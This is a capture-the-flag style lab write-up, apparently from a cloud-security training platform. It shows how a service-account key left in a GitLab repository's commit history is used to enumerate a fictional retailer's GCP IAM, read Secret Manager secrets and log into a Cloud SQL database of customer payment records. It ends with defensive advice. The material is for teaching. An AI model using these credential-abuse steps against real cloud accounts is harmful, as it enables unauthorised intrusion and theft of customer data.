Gain Entry to GCP via GitLab Commit
Gain Entry to GCP via GitLab Commit
Scenario
On an external engagement for our new client, the global company Gigantic Retail, your team has identified a public GitLab repository. Can you check it out, and look for a way into their cloud environment?
Walkthrough
We are given url to repository https://gitlab.com/gigantic-retail/dev-site
.
Inside we find upload.php
which seems to be using token.json
file which stores GCP credentials. According to comment, it’s stored outside of web root.
We see multiple commits. We can see that after merging, there’s a Fix
commit
If we click Fix
commit, we find that developer accidently pushed service account key file and then removed it.
We can click View file @ 8e0d068e
and download it.
Another way to detect the following key is to use automated tools like:
- https://github.com/gitleaks/gitleaks
- https://github.com/trufflesecurity/trufflehog
- https://github.com/awslabs/git-secrets
Let’s try using trufflehog
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
└─$ trufflehog git https://gitlab.com/gigantic-retail/dev-site
🐷🔑🐷 TruffleHog. Unearth your secrets. 🐷🔑🐷
2025-08-20T00:02:47+06:00 info-0 trufflehog running source {"source_manager_worker_id": "kzzXo", "with_units": true}
2025-08-20T00:02:47+06:00 info-0 trufflehog scanning repo {"source_manager_worker_id": "kzzXo", "unit_kind": "dir", "unit": "/tmp/trufflehog-13430-4029511530", "repo": "https://gitlab.com/gigantic-retail/dev-site"}
✅ Found verified result 🐷🔑
Detector Type: GCP
Decoder Type: PLAIN
Raw result: appdev@gr-proj-1.iam.gserviceaccount.com
Project: gr-proj-1
Private_key_id: 06c67689ccfcc4337ffa0d97e1550ea911d45de1
Rotation_guide: https://howtorotate.com/docs/tutorials/gcp/
Commit: 5dd2511b74c5b1fff666cab6a79f4604a9789a0e
Email: Sara Lopez <sara@gigantic-retail.com>
File: storage/token.json
Line: 6
Repository: https://gitlab.com/gigantic-retail/dev-site
Timestamp: 2024-01-09 00:03:47 +0000
Analyze: Run `trufflehog analyze` to analyze this key's permissions
Found unverified result 🐷🔑❓
Detector Type: PrivateKey
Decoder Type: PLAIN
Raw result: -----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDZ7n6jvXwSoM3/ <REDACTED>
-----END PRIVATE KEY-----
Commit: 5dd2511b74c5b1fff666cab6a79f4604a9789a0e
Email: Sara Lopez <sara@gigantic-retail.com>
File: storage/token.json
Line: 1
Repository: https://gitlab.com/gigantic-retail/dev-site
Timestamp: 2024-01-09 00:03:47 +0000
2025-08-20T00:02:48+06:00 info-0 trufflehog finished scanning {"chunks": 52, "bytes": 283132, "verified_secrets": 1, "unverified_secrets": 1, "scan_duration": "8.33483587s", "trufflehog_version": "3.90.5", "verification_caching": {"Hits":0,"Misses":3,"HitsWasted":0,"AttemptsSaved":0,"VerificationTimeSpentMS":3003}}
Now, we can use Google Cloud CLI to authenticate using found credentials
1
2
3
└─$ gcloud auth activate-service-account --key-file=token.json
Activated service account credentials for: [appdev@gr-proj-1.iam.gserviceaccount.com]
We can confirm that key file is valid and we can print Google account our CLI is currently configured to use
1
2
3
4
5
└─$ gcloud config list account
[core]
account = appdev@gr-proj-1.iam.gserviceaccount.com
Your active configuration is: [default]
We can try listing the content of the bucket which we saw in upload.php
1
2
└─$ gsutil ls gs://gr-web
gs://gr-web/products/
1
2
└─$ gcloud storage ls gs://gr-web --project=gr-proj-1
gs://gr-web/products/
1
2
└─$ gcloud storage ls gs://gr-web
gs://gr-web/products/
Let’s check the folder
1
2
└─$ gsutil ls gs://gr-web/products
gs://gr-web/products/
1
2
3
4
5
└─$ gcloud storage ls gs://gr-web/products/
gs://gr-web/products/
gs://gr-web/products/:
gs://gr-web/products/
1
2
3
4
5
└─$ gcloud storage ls gs://gr-web/products/ --project=gr-proj-1
gs://gr-web/products/
gs://gr-web/products/:
gs://gr-web/products/
Nothing. Let’s check IAM policies within gr-proj-1
. In GCP, IAM policies can be attached at various levels of the resource hierarchy, such as organizations, folders, projects, and individual resources.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
└─$ gcloud projects get-iam-policy gr-proj-1
bindings:
- members:
- serviceAccount:internal-web-dev-team@gr-proj-1.iam.gserviceaccount.com
role: projects/gr-proj-1/roles/CustomAppDevRole
- members:
- serviceAccount:sv1-337@gr-proj-1.iam.gserviceaccount.com
role: projects/gr-proj-1/roles/CustomFrontendAppDevRole
- members:
- serviceAccount:bucketviewer@gr-proj-1.iam.gserviceaccount.com
- serviceAccount:frontend-dev-buckets@gr-proj-1.iam.gserviceaccount.com
- serviceAccount:sv3-939@gr-proj-1.iam.gserviceaccount.com
role: projects/gr-proj-1/roles/CustomRole
- members:
- serviceAccount:appdev@gr-proj-1.iam.gserviceaccount.com
role: projects/gr-proj-1/roles/CustomRole178
- members:
- serviceAccount:setmetadata@gr-proj-1.iam.gserviceaccount.com
role: projects/gr-proj-1/roles/CustomRole353
- members:
- serviceAccount:setmetadata@gr-proj-1.iam.gserviceaccount.com
role: projects/gr-proj-1/roles/CustomRole44
- members:
- serviceAccount:devops-re@gr-proj-1.iam.gserviceaccount.com
role: projects/gr-proj-1/roles/CustomRole606
- members:
- serviceAccount:sv3-939@gr-proj-1.iam.gserviceaccount.com
role: projects/gr-proj-1/roles/CustomRole829
- members:
- serviceAccount:service-212055223570@gcp-gae-service.iam.gserviceaccount.com
role: roles/appengine.serviceAgent
- members:
- serviceAccount:service-212055223570@gcp-sa-artifactregistry.iam.gserviceaccount.com
role: roles/artifactregistry.serviceAgent
- members:
- serviceAccount:212055223570@cloudbuild.gserviceaccount.com
role: roles/cloudbuild.builds.builder
- members:
- serviceAccount:service-212055223570@gcp-sa-cloudbuild.iam.gserviceaccount.com
role: roles/cloudbuild.serviceAgent
- members:
- serviceAccount:service-212055223570@gcf-admin-robot.iam.gserviceaccount.com
role: roles/cloudfunctions.serviceAgent
- members:
- serviceAccount:appdev@gr-proj-1.iam.gserviceaccount.com
role: roles/cloudsql.client
- members:
- serviceAccount:appdev@gr-proj-1.iam.gserviceaccount.com
- serviceAccount:intermediate-account-dev-team@gr-proj-1.iam.gserviceaccount.com
role: roles/cloudsql.viewer
- members:
- serviceAccount:service-212055223570@compute-system.iam.gserviceaccount.com
role: roles/compute.serviceAgent
- members:
- serviceAccount:service-212055223570@container-engine-robot.iam.gserviceaccount.com
role: roles/container.serviceAgent
- members:
- serviceAccount:service-212055223570@containerregistry.iam.gserviceaccount.com
role: roles/containerregistry.ServiceAgent
- members:
- serviceAccount:212055223570-compute@developer.gserviceaccount.com
- serviceAccount:212055223570@cloudservices.gserviceaccount.com
- serviceAccount:gr-proj-1@appspot.gserviceaccount.com
role: roles/editor
- members:
- serviceAccount:service-212055223570@firebase-rules.iam.gserviceaccount.com
role: roles/firebaserules.system
- members:
- serviceAccount:service-212055223570@gcp-sa-firestore.iam.gserviceaccount.com
role: roles/firestore.serviceAgent
- members:
- serviceAccount:appdev@gr-proj-1.iam.gserviceaccount.com
- serviceAccount:intermediate-account-dev-team@gr-proj-1.iam.gserviceaccount.com
- serviceAccount:internal-web-dev-team@gr-proj-1.iam.gserviceaccount.com
role: roles/iam.roleViewer
- members:
- serviceAccount:setmetadata@gr-proj-1.iam.gserviceaccount.com
role: roles/iam.serviceAccountUser
- members:
- user:ayush@pwnedlabs.io
- user:ian@pwnedlabs.io
role: roles/owner
- members:
- serviceAccount:service-212055223570@gcp-sa-pubsub.iam.gserviceaccount.com
role: roles/pubsub.serviceAgent
- members:
- serviceAccount:service-212055223570@cloud-redis.iam.gserviceaccount.com
role: roles/redis.serviceAgent
- members:
- serviceAccount:appdev@gr-proj-1.iam.gserviceaccount.com
role: roles/secretmanager.secretAccessor
- members:
- serviceAccount:intermediate-account-dev-team@gr-proj-1.iam.gserviceaccount.com
role: roles/source.reader
etag: BwYRmwH25Ns=
version: 1
We can use this script to visualize the policy we extracted. But it requires JSON file, so first we need to convert policies from YML to JSON. We can use the following snippet
1
2
3
4
5
6
7
8
import yaml
import json
with open('policy.yml', 'r') as file:
configuration = yaml.safe_load(file)
with open('policy.json', 'w') as json_file:
json.dump(configuration, json_file, indent=2)
We also need to install graphviz
and
1
2
apt-get install graphviz
pip3 install graphviz
Run the visualizer
1
2
└─$ python3 visualize-policy.py policy.json
IAM Policy visualization saved as /home/kali/pwnedlabs/gcp/iam_policy_graph.png
We got our graph
We can see that our user (appdev@gr-proj-1.iam.gserviceaccount.com
) has multiple roles, such as:
roles/secretmanager.secretAccessor
roles/cloudsql.viewer
roles/cloudsql.client
projects/gr-proj-1/roles/CustomRole178
roles/firestore.serviceAgent
We could also use the following command to enumerate the roles assigned to current user
1
2
3
4
5
6
7
8
└─$ gcloud projects get-iam-policy gr-proj-1 --flatten="bindings[].members" --format='table(bindings.role, bindings.members)' --filter="bindings.members:appdev@gr-proj-1.iam.gserviceaccount.com"
ROLE MEMBERS
projects/gr-proj-1/roles/CustomRole178 serviceAccount:appdev@gr-proj-1.iam.gserviceaccount.com
roles/cloudsql.client serviceAccount:appdev@gr-proj-1.iam.gserviceaccount.com
roles/cloudsql.viewer serviceAccount:appdev@gr-proj-1.iam.gserviceaccount.com
roles/iam.roleViewer serviceAccount:appdev@gr-proj-1.iam.gserviceaccount.com
roles/secretmanager.secretAccessor serviceAccount:appdev@gr-proj-1.iam.gserviceaccount.com
Let’s continue by enumerating CustomRole178
. We can use permissions.cloud to look up the permissions included in custom roles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ gcloud iam roles describe CustomRole178 --project=gr-proj-1
description: 'Created on: 2024-01-05'
etag: BwYOd_bj0ew=
includedPermissions:
- iam.serviceAccounts.getIamPolicy
- iam.serviceAccounts.list
- resourcemanager.projects.get
- resourcemanager.projects.getIamPolicy
- secretmanager.locations.get
- secretmanager.locations.list
- secretmanager.secrets.get
- secretmanager.secrets.getIamPolicy
- secretmanager.secrets.list
- secretmanager.versions.get
- secretmanager.versions.list
- storage.buckets.get
- storage.managedFolders.get
- storage.managedFolders.list
- storage.multipartUploads.list
- storage.objects.get
- storage.objects.list
name: projects/gr-proj-1/roles/CustomRole178
stage: ALPHA
title: AppDevRole
Seems like we have access to retrieve IAM policy details about the GCP project and service accounts, also read access to Secret Manager. Let’s list secrets stored in the project
1
2
3
4
└─$ gcloud secrets list --project=gr-proj-1
NAME CREATED REPLICATION_POLICY LOCATIONS
customer-app-backend 2024-01-11T13:44:58 automatic -
retail-db-backup-clone 2024-01-05T13:30:26 automatic -
We can retrieve the secrets
1
2
└─$ gcloud secrets versions access latest --secret=retail-db-backup-clone --project=gr-proj-1
appdev:<REDACTED> ```
1
2
3
└─$ gcloud secrets versions access latest --secret=customer-app-backend --project=gr-proj-1
DB_USER=DB_CONNECT
DB_PASS=<REDACTED>
We retrieved credentials from retail database clone, which could be related to SQL database (since we also had cloudsql
roles assigned to service account). We can list sql instances
1
2
3
4
5
└─$ gcloud sql instances list --project=gr-proj-1
NAME DATABASE_VERSION LOCATION TIER PRIMARY_ADDRESS PRIVATE_ADDRESS STATUS
gigantic-retail-backup-db MYSQL_8_0_31 us-central1-b db-f1-micro 34.134.161.125 - RUNNABLE
customer-app-1 POSTGRES_15 us-central1-f db-f1-micro 34.31.83.80 - RUNNABLE
We can connect to gigantic-retail-backup-db
using credentials we found in retail-db-backup-clone
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ mysql -h 34.134.161.125 -u appdev -p --ssl-verify-server-cert=False
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 1210710
Server version: 8.0.31-google (Google)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
We can start enumerating the database
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| GlobalSalesData |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.221 sec)
MySQL [(none)]> use GlobalSalesData;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [GlobalSalesData]> show tables;
+---------------------------+
| Tables_in_GlobalSalesData |
+---------------------------+
| CustomerOrders |
+---------------------------+
1 row in set (0.213 sec)
We find our flag in the CustomerOrders
table
1
2
3
4
5
6
7
8
9
10
11
MySQL [GlobalSalesData]> select * from CustomerOrders;
+---------+------------------+---------------------------------+-----------+----------+------------+-------------+------------+---------------------------------------------+---------------+---------------------+---------+------------+
| OrderID | CustomerName | CustomerEmail | ProductID | Quantity | OrderDate | OrderStatus | TotalPrice | ShippingAddress | PaymentMethod | CreditCardNumber | CVVCode | ExpiryDate |
+---------+------------------+---------------------------------+-----------+----------+------------+-------------+------------+---------------------------------------------+---------------+---------------------+---------+------------+
| 1001 | Emily Johnson | emily.johnson@broadnet.co | 101 | 1 | 2023-01-15 | Delivered | 49.99 | 742 Evergreen Terrace, Springfield, OR | Visa | 4929 8765 1234 5678 | 123 | 2024-06-30 |
<SNIP>
| 1021 | Flag | chad.taylor@mailservice.co | 120 | 2 | 2023-02-03 | Delivered | 199.98 | <REDACTED> | Discover | 6011 9012 3456 7890 | 234 | 2025-01-30 |
+---------+------------------+---------------------------------+-----------+----------+------------+-------------+------------+---------------------------------------------+---------------+---------------------+---------+------------+
21 rows in set (0.265 sec)
MySQL [GlobalSalesData]>
Defense
This part is from lab’s defense section
It is better to impersonate the service account, than to generate and download a service account key
1
gcloud --impersonate-service-account=<service_account> projects add-iam-policy-binding <project_id> --member='user:<user_email>' --role='<role>'
Also, use automated tools to check for leaked credentials, secrets etc. in repositories
- https://github.com/gitleaks/gitleaks
- https://github.com/trufflesecurity/trufflehog
- https://github.com/awslabs/git-secrets
Customers’ financial data should also be encrypted.
Also, Google Cloud will automatically email the owner of the project that they have identified the leaked credential within 24 hours of the key being leaked.